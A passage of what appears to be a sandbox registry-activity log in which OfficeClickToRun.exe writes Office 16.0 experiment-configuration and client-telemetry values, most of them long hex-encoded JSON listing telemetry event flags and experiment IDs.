207b205c224576656e74466c61675c22203a2032207d2c205c224175746f5265636f766572794f70656e556e736176656456657273696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224175746f5265636f76657279506f70756c617465556e736176656456657273696f6e4c6973745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22496e69744e65774e6176466f6c6465725c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224e6577536572766963654c6973745c22203a207b205c224576656e74466c61675c22203a2032207d207d207d207d207d2c205c225368617265506f696e7453697465735c22203a207b205c224576656e74735c22203a207b205c2247726f75707353697465735265717565737449636f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225368617265506f696e745369746573496e697469616c697a655369746573436f6c6c656374696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225368617265506f696e74536974657350726f63657373526573756c74466f724964656e746974795c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225368617265506f696e7453697465734964656e74697479436163686552657175657374526573756c745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225368617265506f696e7453697465735265717565737453697465734361636865645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225368617265506f696e7453697465735265717565737453697465734173796e6350726f63657373526573756c745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225368617265506f696e7453697465735265717565737453697465734173796e635c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c224372656174654c6f636174696f6e735c22203a207b205c224576656e74735c22203a207b205c2244656661756c744964656e74697479456d7074795c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c2253686172696e674c6567616379436c69656e745c22203a207b205c224576656e74735c22203a207b205c22476574446174615c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c22486f6d65506167655c22203a207b205c224576656e74735c22203a207b205c22506c6163654368616e6765536c6162436f6e646974696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224f6e53686f77486f6d65506167655c22203a207b205c224576656e74466c61675c22203a2032207d207d2c205c225375624e616d657370616365735c22203a207b205c225365617263685c22203a207b205c224576656e74735c22203a207b205c225365656e4279557365725c22203a207b205c224576656e74466c61675c22203a2032207d207d207d207d207d2c205c224f666669636553746172745c22203a207b205c224576656e74735c22203a207b205c22536574757054656d706c61746550726f706572746965735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2243757272656e745549416374697665506c6163654368616e67655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22547269676765725468756d626e61696c416374696f6e52756e5c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c22446f63756d656e744e6f74696669636174696f6e735c22203a207b205c224576656e74735c22203a207b205c2252656769737465724f6e49646c65466561747572654761746544697361626c65645c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c224d7275536572766963654170695c22203a207b205c225375624e616d657370616365735c22203a207b205c22446f63756d656e74735c22203a207b205c224576656e74735c22203a207b205c2252656164526571756573745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225772697465526571756573745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224f6e526571756573745375636365656465645c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c22506c616365735c22203a207b205c224576656e74735c22203a207b205c2252656164526571756573745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225772697465526571756573745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224f6e526571756573745375636365656465645c22203a207b205c224576656e74466c61675c22203a2032207d207d207d207d207d2c205c224d736f53686172696e675c22203a207b205c224576656e74735c22203a207b205c22434d736f53686172696e675365727669636548656c706572456e64476574486f73744361706162696c69746965735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22434d736f53686172696e675365727669636548656c706572476574486f737443617061 C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\Expires = "int64_t|0" C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData\0 = 4d736f3a3a436865636b73756d52656769737472793a3a446174617c75696e7436345f747c353034343634303434393134313732333138353b456373436f6e666967526573706f6e7365446174617c7b202256657222203a2022696e7433325f747c30222c2022436f6e6649647322203a20227374643a3a77737472696e677c502d522d313039383135382d312d352c502d522d37363735372d312d322c502d522d35343930332d312d332c502d522d32363134362d372d31372c502d442d32393633352d312d312c502d442d32373038372d312d392c502d522d37393638382d312d332c502d522d35333533322d312d352c502d522d35313433362d312d362c502d522d35313432372d31382d31322c502d522d34303436342d31382d392c502d582d39383531382d362d392c502d522d33383339302d31382d32312c626c6f636b6564677261706869637361646170746572353a3437353839392c502d522d33353039392d322d342c502d522d36313430382d31382d332c502d522d35353734362d322d352c502d522d35333531322d312d342c502d522d34363937342d31382d31382c502d522d33383935332d312d31312c502d522d33363535312d31382d31382c502d522d37313431342d312d362c502d522d34303235332d362d31392c502d522d34303235342d362d31382c502d522d33353430312d362d372c502d522d33323130372d32322d32322c502d522d33393134362d31342d31352c502d522d33393134372d31342d32302c502d522d32383534362d362d31312c502d522d32383136352d362d32382c502d522d32343938302d382d34382c502d522d32343339302d352d31322c502d522d31383237392d322d36352c502d442d33343230302d342d352c502d522d35313134352d322d372c502d522d32393932382d322d32302c502d522d36373933322d312d342c502d522d36373230312d312d342c502d522d36343534352d312d342c502d522d36343033352d312d342c502d522d35333531352d31382d392c502d522d35333238302d312d362c502d522d35323234372d312d352c502d522d35313935382d312d352c502d522d35313834322d312d352c502d522d35313237372d322d362c502d522d34373435312d31382d32302c502d522d34353931392d31382d31392c502d522d34353038352d31382d31322c502d522d34313434322d31382d31382c502d522d33383038352d31322d392c502d522d31383734342d362d32322c502d442d33343233392d312d362c502d522d313033343136392d31302d372c502d452d32383637372d43312d332c502d522d35353132322d382d382c502d522d35303235352d31302d392c502d522d34343930372d312d392c502d522d34353331342d31302d31362c502d522d34343936352d43312d362c502d582d313234303832332d312d332c502d452d33383233312d43312d342c502d522d313234353636322d31352d342c502d522d39343536302d31342d31322c502d522d39343138392d31342d31332c502d522d39333838322d31342d32362c502d522d35343732382d31362d32332c502d522d35343639382d31362d31362c502d522d35343635382d31382d31392c502d522d33383330362d31382d332c502d522d33353731372d352d33302c502d522d33343031392d342d332c77696e333264657669636563616e6172793a3534313438332c77696e333264657669636563616e6172793a3534313438332c502d582d35333834352d312d392c502d582d35333737322d312d332c502d582d35313739302d312d332c502d452d34323730302d43312d342c502d522d313032353233322d32342d392c502d522d37313335382d312d342c502d522d37303934312d312d342c502d522d36393036352d312d332c502d522d36373136302d312d372c502d522d35393738312d312d342c502d522d35353633312d312d342c502d522d35343231352d312d342c502d522d35333735312d312d342c502d522d35333735322d312d342c502d522d35333532362d312d342c502d522d35323131302d312d342c502d522d34393736352d31352d33322c502d522d34383831382d31372d32352c502d522d35303637392d312d342c502d522d35303438362d31382d31322c502d522d34343833302d31382d31332c502d522d34393431362d342d31342c502d522d34383435372d322d362c502d522d34373937342d31362d31382c502d522d34363534342d31382d31312c502d522d34353630392d31342d362c502d522d34353139372d322d362c502d522d34343034362d31382d31312c502d522d34343031352d31382d32302c502d522d34333732332d322d362c502d522d34313734322d31382d33322c502d522d34303938302d31382d31362c502d522d34303335392d322d31302c502d522d33393032392d352d31382c502d522d33383833352d31382d34382c502d522d33373637362d31382d34362c502d522d33363331302d342d352c502d522d33353934352d31302d352c502d522d33353136352d322d372c502d522d33353134332d342d342c502d522d33333535332d342d362c502d522d33333533362d31322d31332c502d522d32393830392d312d372c502d522d32363936382d332d392c66697365723139303a3337373730342c686170707930333137323032302d313a36313937372c686170707930323036323032302d303a32383432382c502d522d35333534352d342d352c502d522d35303731312d31382d31312c502d522d34393733362d362d32322c502d522d34383436372d31382d31382c502d522d33323130362d372d33332c502d522d33303038352d312d392c502d522d32393133382d33382d38332c502d522d32393331352d33362d36392c502d522d32353030392d312d382c502d522d32343336332d312d31332c502d522d32313633312d31302d36342c502d522d31393839382d312d32322c502d522d31393831342d312d36322c502d522d31393031322d312d35372c502d582d313031353535342d312d352c502d582d35303232302d312d332c502d582d34393733302d312d332c502d522d36393334372d312d352c502d522d36343537342d312d342c502d522d35343131362d312d342c502d522d35333538352d31382d31382c502d522d35323539342d31382d352c502d522d35323338362d312d342c502d522d35303938302d322d342c502d522d35303933382d312d342c502d522d35303135322d31382d32302c502d522d34393137352d31382d32322c502d522d34373236302d31382d32332c502d522d34343135362d31382d32362c502d522d34333238342d31382d31392c502d522d34333238352d31322d32322c502d522d34323438322d312d342c502d522d34303939302d31322d31352c502d522d33393333332d31382d32382c502d522d33353433392d31322d32312c502d522d33333231352d31382d31392c502d522d33313335322d31322d32352c502d442d33343236392d322d352c6772736b693435353a3232373433362c67727573653438383a3537303335382c677269636f3430363a31393737372c502d522d34393833302d31382d31352c502d522d34303538362d31382d32372c502d522d33323939362d31382d32342c502d442d34303331362d392d352c502d522d35303432392d31382d382c502d522d36353239352d31382d33302c502d522d36313836312d312d342c502d522d36313733372d312d342c502d522d35313737372d31382d382c502d522d35303932302d312d362c502d522d35303336362d31382d31392c502d522d33353938352d31342d32332c502d522d33353839312d31382d352c502d522d33323030342d322d352c502d522d36383333362d322d342c502d522d36373238362d322d362c502d522d35313531332d322d342c502d522d37393936332d312d322c502d522d35323034332d312d332c502d522d35313736342d312d342c502d522d34393338382d322d362c502d522d34383333352d342d31362c502d522d34373330382d332d392c502d522d34323339322d322d342c502d522d33393037332d312d352c502d522d313132333337362d31302d31302c502d522d313030393835352d31322d31342c502d522d39383835362d31382d34382c502d522d34333438392d4332392d31322c502d522d33383431302d31322d32332c502d582d313031393538312d312d332c502d582d313030363137342d312d352c502d522d36363433362d312d342c502d522d36323837332d312d342c502d522d35313039372d312d352c502d522d35303730362d31382d372c502d522d35303035352d31382d372c502d522d34393331352d31382d352c502d522d34323636302d31382d33352c502d522d33363634392d382d392c6f656d69633633393a3339373735332c6f65616c6c3834333a3337353838372c502d522d34323337392d322d332c502d522d34323337382d322d332c502d522d36363533392d312d342c502d522d36363533382d312d342c502d522d36353237382d312d342c502d522d36353237392d312d342c502d522d35393138302d312d342c502d522d34383037302d312d352c502d522d34373338362d312d342c502d522d35353334322d322d322c502d522d35333337372d322d362c502d522d35323438312d322d352c502d522d34393735392d322d382c502d522d34363130302d32302d392c502d522d33383531302d322d31302c502d522d33373535302d32302d31332c502d522d33323138362d32382d32392c502d522d35383133352d322d342c502d522d35363631382d312d332c502d522d35363032372d312d342c502d522d36313731382d31382d332c502d522d34363134352d31382d31382c502d522d33333839322d312d382c502d522d33333639362d312d352c502d522d35353734392d312d342c502d522d35333636322d312d342c502d522d35323234362d312d342c502d522d35323234352d312d342c502d522d35323233382d312d352c502d522d34333634342d362d31332c502d522d33393931322d312d322c502d522d33393238332d342d31302c502d522d35303338302d31382d31382c502d522d35303337392d31382d31372c502d522d36383134362d312d352c502d522d36333430392d312d352c502d522d35303534322d31382d31342c502d522d35303530302d31382d31362c502d522d34383336352d31382d32342c502d522d34383136312d31382d33322c502d522d34363539372d312d342c502d522d33333733372d312d342c502d452d32393636322d322d332c502d522d32393330332d322d32302c502d522d35363635342d322d342c502d522d35333235362d322d31312c502d522d35313730332d312d352c502d522d35303133332d322d392c502d522d34373234322d31382d31312c502d522d34363431302d312d352c502d522d34353439302d31362d392c502d522d34343838352d31382d32302c502d522d34323531322d312d332c502d522d34303136392d382d31332c502d522d33393730302d322d372c502d522d33373331332d31382d32322c502d522d33363636342d342d342c502d522d33353437362d322d352c502d522d33353430372d342d332c502d522d33353233372d31342d31312c502d522d33353135302d322d342c502d522d33353132392d322d342c502d522d33353035362d342d352c502d522d33343838392d382d342c502d522d33343034342d322d342c502d522d33333731382d362d352c502d522d33333435392d312d352c502d522d33303239322d342d372c502d522d32383634342d312d342c502d522d32343033372d312d372c502d522d32333434352d332d372c502d522d32333433342d332d372c502d522d32333430332d332d382c502d522d31383531332d312d33302c502d442d33343639392d342d342c502d442d33343639372d322d342c502d442d33343637352d312d342c502d442d33343637332d312d342c502d442d33343635342d312d342c502d442d33343538372d332d352c502d442d33343236362d312d342c502d442d33343236322d312d352c502d442d33343236302d312d352c502d442d33343235382d322d352c502d442d33323436352d312d352c502d442d33323435392d322d342c502d442d33323435382d352d342c502d582d313038333432372d322d352c502d522d36393532392d312d352c502d522d36353031312d312d332c502d522d35333632322d31382d342c502d522d35303534312d322d372c502d522d34393839332d32322d392c502d522d33363933322d322d31332c6a683861623434373a3338303633332c502d522d36393233322d31382d31332c502d522d32333638312d322d372c502d442d33323530322d322d332c502d442d33323530312d322d332c502d442d33323431352d322d332c502d522d36343531332d31382d31312c502d522d35313931362d38342d33312c502d522d313235383738342d312d332c502d522d313234353239362d342d362c502d522d313233363935332d322d342c502d522d313137353739332d312d332c502d522d313135373537302d322d342c502d522d313133323832312d322d342c502d522d313131393031332d312d332c502d522d313039383739362d312d332c502d522d313039343434352d312d332c502d522d313038303431322d312d332c502d522d313036393736392d322d342c502d522d313036383131352d312d332c502d522d313034353131382d322d342c502d522d32353236392d31342d32312c502d522d313034343430382d312d332c502d522d313034343134312d372d392c502d522d313033373838372d312d332c502d522d313033373837392d312d332c502d522d313033363239332d312d332c502d522d313033363239322d312d332c502d522d313033363238392d322d342c502d522d313033363238382d312d332c502d522d313033363036382d322d342c502d522d313033353933332d322d342c502d522d313033353134392d322d342c502d522d313033333831372d312d332c502d522d313032383136382d312d332c502d522d313030393731372d332d352c502d522d313030303036312d322d342c502d522d3131373534382d322d342c502d522d3131313638322d312d332c502d522d3130353733312d33362d33382c502d522d3130343433352d31332d31352c502d522d3130303239342d312d332c502d522d39393633332d312d332c502d522d39383932392d322d342c502d522d39383235302d312d332c502d522d39343239392d312d332c502d522d39333037372d312d332c502d522d38363131382d312d332c502d522d38303531372d372d392c502d522d37383131322d342d362c502d522d37373134302d322d342c502d522d37363931382d322d342c502d522d37363732312d312d332c502d522d37353434302d322d342c502d522d37333637362d312d332c502d522d37323434392d372d31302c502d522d37323033302d342d362c502d522d36383036392d322d342c502d522d36363937352d312d332c502d522d36353536372d312d332c502d522d36323231322d322d342c502d522d36303630322d332d352c502d522d35323633332d312d332c502d522d35323137312d322d342c502d522d35323031312d322d342c502d522d35313932312d382d31302c502d522d35313235382d382d31302c502d522d35303735322d322d342c502d522d35303638312d322d342c502d522d35303539392d342d362c502d522d35303539362d342d382c502d522d35303535332d312d332c502d522d34393539372d332d352c502d522d34393435382d322d342c502d522d34383533302d372d392c502d522d34373934382d312d342c502d522d34363538302d332d352c502d522d34363438342d31302d31322c502d522d34363132322d312d332c502d522d34353835382d322d342c502d522d34333936362d322d342c502d522d34333530322d31392d32312c502d522d33383234382d31392d32332c502d522d34313433302d312d332c502d522d34303735312d382d31302c502d522d34303237332d342d362c502d522d33393233382d352d372c502d522d33383638322d332d352c502d522d33373538382d322d342c502d522d33343335352d382d31302c502d522d32363236362d342d392c502d522d32363833342d332d382c502d522d32343636322d31362d32322c502d522d32373437392d362d31312c502d522d32363035362d372d31352c502d522d32373030362d372d31322c502d522d33303333382d332d372c502d522d33303137382d37392d38312c502d522d33303035332d382d31302c502d522d32373435382d312d352c502d522d32353832322d31362d31392c502d522d32353038332d362d392c502d522d32343639302d34322d34362c502d522d32343638392d322d352c502d522d32343636362d322d352c502d522d32343636332d362d31312c502d522d32343635392d372d31302c502d522d32333734342d372d392c502d522d32333733392d372d392c502d522d32333733362d31342d31372c502d522d32333733342d372d392c502d522d32333733302d32312d32342c502d522d32333732332d31302d31322c502d442d33323538382d312d332c502d442d33323533342d312d332c502d442d33323532342d312d332c502d442d33323531382d312d332c502d442d33323531322d312d332c502d442d33323530392d312d332c502d442d33323438352d312d342c502d442d33323438342d312d342c502d442d33323430352d312d332c502d522d313038373134312d342d372c502d522d34393136302d31322d31322c502d522d34373630312d31382d31332c502d522d34363833342d31322d31342c502d522d34363230322d31382d31312c502d522d34343031382d31382d31332c502d522d34333335352d31382d31322c502d522d33353333372d31362d372c502d522d33333931362d312d352c502d522d33333538302d382d392c502d582d3131373430302d312d332c502d522d35393137352d31382d342c502d522d35333239322d31342d31302c502d522d34393133302d31382d32332c502d522d34363931332d31382d382c502d522d33373434392d31382d31352c75786d656469756d69636f6e6c756d696e616e63653a3335333435352c502d522d34383534392d31382d31312c502d522d31393236322d312d31322c502d452d34343737342d322d392c502d522d34343836392d31362d31362c502d522d33333931382d312d31312c502d522d313132383633302d312d372c502d522d313039383431322d312d352c502d522d313039313236372d312d35302c502d522d38313732302d312d322c502d522d35383430362d312d352c502d442d35303639372d322d342c502d442d32393731392d312d312c502d442d32393731382d312d312c502d442d32393539332d312d36222c2022434322203a20227374643a3a77737472696e677c4742222c2022446566436f6e667322203a20227374643a3a77737472696e677c6f6673683663326231746c61316133312c6f666372756934797664756c626633312c6f6668706578336a7a6e65706f6f3331222c202245787054696d6522203a2022696e7436345f747c31373136383332313638222c20224554616722203a20227374643a3a77737472696e677c5c224769497a323745793365516f756b47704e32396d787139424f41547a5a73544f4d4c73754c724367476f4d3d5c22222c202246434d617022203a205b207b20224622203a20224d6963726f736f66742e4f66666963652e4163636573732e4669785468656d654368616e676551 C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\Common\ClientTelemetry\Volatile\MsaDevice = "t=GwAWAbuEBAAUbVtUa9wjWgmEIwjX9d7dccnghw8OZgAAELYJHmPSPYHIGS8qU96VKUbgAHScn69Sl+0VhV6UT7OhNCEDh9Z/d/tyAOdY/mkRltyA9v8+jESD04wt9Yt9UfzlWFP+WRVt94iyu0G8X33VXMnbMr4MYewpAjoJiofYM5UKmajugmuOxWJE3uPgtrjmCvNToLfthRJSvlUbD1ui83cxyclTcnr2fXFTiEEyhYNfVSUMwGOeCwhQi4IEOgWSZB1K6j5g3NqxvFoCefnD/JNhvSfrl0hMMCQFPdtDsGZJAYcyUcIP38+tllixfte3fp4ZZqlHwMnVgVPiLJOEDzzj0+d624kRcZPBpTcn5ROZHwE=&p=" C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData\0.5 = 6c656d6574727944796e616d6963436f6e6669672e446961676e6f7374696373222c20225622203a20227374643a3a77737472696e677c7b205c225375624e616d657370616365735c22203a207b205c22436f6c6c6563746f725c22203a207b205c224576656e74735c22203a207b205c2253746172745472616365436f6c6c6563746f725c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d207d207d22207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54656c656d6574727944796e616d6963436f6e6669672e446f6373222c20225622203a20227374643a3a77737472696e677c7b205c224576656e74735c22203a207b205c22536861726564436f6d6d656e74735f447261667443617264556e6d6f756e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224544502a5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22456e74657270726973654461746150726f74656374696f6e2a5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224d736f456e74657270726973654461746150726f74656374696f6e2a5c22203a207b205c224576656e74466c61675c22203a2032207d207d2c205c225375624e616d657370616365735c22203a207b205c22536861726564436f6d6d656e74735c22203a207b205c224576656e74735c22203a207b205c22436f6d6d6974436f6d6d656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224469736361726444726166744173796e635c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224469736361726444726166744e61746976655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22447261667453746174654d616e61676572456e644472616674696e675c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22456e644472616674696e675c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22506f737444726166745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2244656c657465506f7374416374696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2244656c657465546872656164416374696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2245324550657266547261636b65725c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224472616674436172644d6f756e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2244726166744361726452656e64657265645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224d61726b436f6d6d656e744372656174696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2252656f70656e546872656164416374696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225265736f6c7665546872656164416374696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22536d6172745265706c79506f737465645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224162616e646f6e44726166745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224469736361726444726166745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22436f6d6d656e74436f6e746578744368616e676564416374696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224c6f6164436f6d6d656e74416374696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224469737061746368436c6f7365566965774576656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224469737061746368436f6e74657874437265617465644576656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2244697370617463684f70656e566965774576656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224469737061746368566965774368616e6765644576656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224469737061746368426567696e44726166744576656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2244697370617463684361706162696c69746965734368616e6765645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224469737061746368436f6d6d656e74734368616e6765644576656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224469737061746368436f6d6d656e7453656c65637465644576656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224469737061746368437265617465436f6d6d656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224469737061746368446f634368616e6765644576656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224469737061746368456e64436f6d6d656e7453657373696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224469737061746368456e6444726166744576656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2244697370617463684576656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224469737061746368466f63757350616e655472696767657265644576656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224469737061746368496e6974436f6d6d656e7453657373696f6e4173796e635c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224469737061746368496e697469616c52656e646572436f6d706c657465644576656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224469737061746368496e76616c69644576656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2244697370617463684c6f6164546872656164735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22446973706174636850616e654368616e6765644576656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22446973706174636850616e65466f63757353746174654368616e6765644576656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22446973706174636850616e65546f52656e6465724576656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22446973706174636853656c656374436f6d6d656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22446973706174636853657448616c6650616e65446973706c61794d6f64655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2244697370617463685468656d654368616e6765645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22446973706174636844656c657465436f6d6d656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22436c656172436f6d6d656e7453656c656374696f6e416374696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c22446f63756d656e74416374697669746965735c22203a207b205c224576656e74735c22203a207b205c2241637469766974794c6f6744697363617264466f72446f63756d656e744368616e67655c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2241637469766974794c6f67547269676765724173796e635461736b576f726b65725c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c225472616e736d697451756575654c6f61644173796e635c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c225472616e736d69745175657565496e697446696c65506174685c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c225472616e736d69745175657565437265617465496e73616e63655c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c225472616e736d69745175657565417070656e644173796e6342617463685c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c225472616e736d69745175657565577269746541637469766974795c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c225472616e736d6974517565756552656d6f76654173796e6342617463685c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c225472616e736d697451756575655772697465446f63756d656e74496e666f4865616465725c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c225472616e736d6974517565756554727944656c657465456d70747946696c654173796e635c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c225472616e736d69745175657565496e7365727441637469766974794e6f6e437269746963616c5c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2241637469766974794c6f67456e717565756541637469766974794e6f6e437269746963616c5c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2241637469766974794c6f6741646441637469766974794e6f6e437269746963616c5c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2241637469766974794c6f674372656174654c6f675c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2241637469766974794c6f67536176654e657746696c655c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2241637469766974794c6f674469736361726441637469766974794e6f6e437269746963616c5c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2241637469766974794c6f67456e71756575654c6f63616c4e6f6e437269746963616c5c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2241637469766974794c6f67456e71756575654f7574676f696e674e6f6e437269746963616c5c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c225472616e736d697451756575654469736361726441637469766974794e6f6e437269746963616c5c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c224170694f70656e41637469766974794c6f675769746853747265616d5c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2241637469766974794c6f6741646441637469766974795c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2241637469766974794c6f674361636865446f63756d656e74496e666f5c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2241637469766974794c6f67456e74727946696e616c697a655c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2241637469766974794c6f6746696c7465724f757443757272656e7455736572416374697669746965735c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2241637469766974794c6f674c6f616446726f6d53747265616d5c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2241637469766974794c6f6753617665546f53747265616d5c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c225472616e736d69745175657565436865636b5265766f6b65644544505c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c225472616e736d69745175657565526570616972436f7272757074656446696c654173796e635c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2241637469766974794c6f674d6f64696679436c6f6e655c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c225472616e736d6974517565756546696c654f70656e4572726f725c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c225472616e736d6974517565756546696c65526561644572726f725c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c225472616e736d6974517565756546696c655265706c6163654572726f725c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c225472616e736d6974517565756546696c6557726974654572726f725c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c225472616e736d69745175657565536574456e74657270726973654461746150726f74656374696f6e4173796e635c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c225472616e736d697451756575655472756e6361746551756575655c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2241637469766974794c6f67456e7472794372656174655c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c2241637469766974794c6f67456e74727953657453746174655c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c22536572766963654163746976697479526573756c745c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c2241637469766974794c6f674f6e436f6e74656e74416374696f6e5c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c2241637469766974794c6f67456e717565756541637469766974795c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c2241637469766974794c6f674469736361726441637469766974795c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c225472616e736d69745175657565496e7365727441637469766974795c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c225472616e736d697451756575654469736361726441637469766974795c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c2241637469766974794c6f67456e71756575654f7574676f696e675c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c2241637469766974794c6f67436c6f73655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225472616e736d6974517565756548656c706572456e737572654469726563746f72795c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225472616e736d697451756575654d616e61676572437265617465496e73616e63655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2241706943726561746541637469766974794c6f675c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224170694372656174654c6f675c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225472616e736d69745175657565536574456e74657270726973654461746150726f74656374696f6e5c22203a